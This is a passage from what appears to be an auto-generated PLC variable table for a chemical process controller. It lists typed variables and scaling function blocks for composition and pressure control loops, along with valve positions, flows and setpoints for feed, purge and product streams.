+75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +86;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +87;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +97;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +98;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +108;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +109;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; 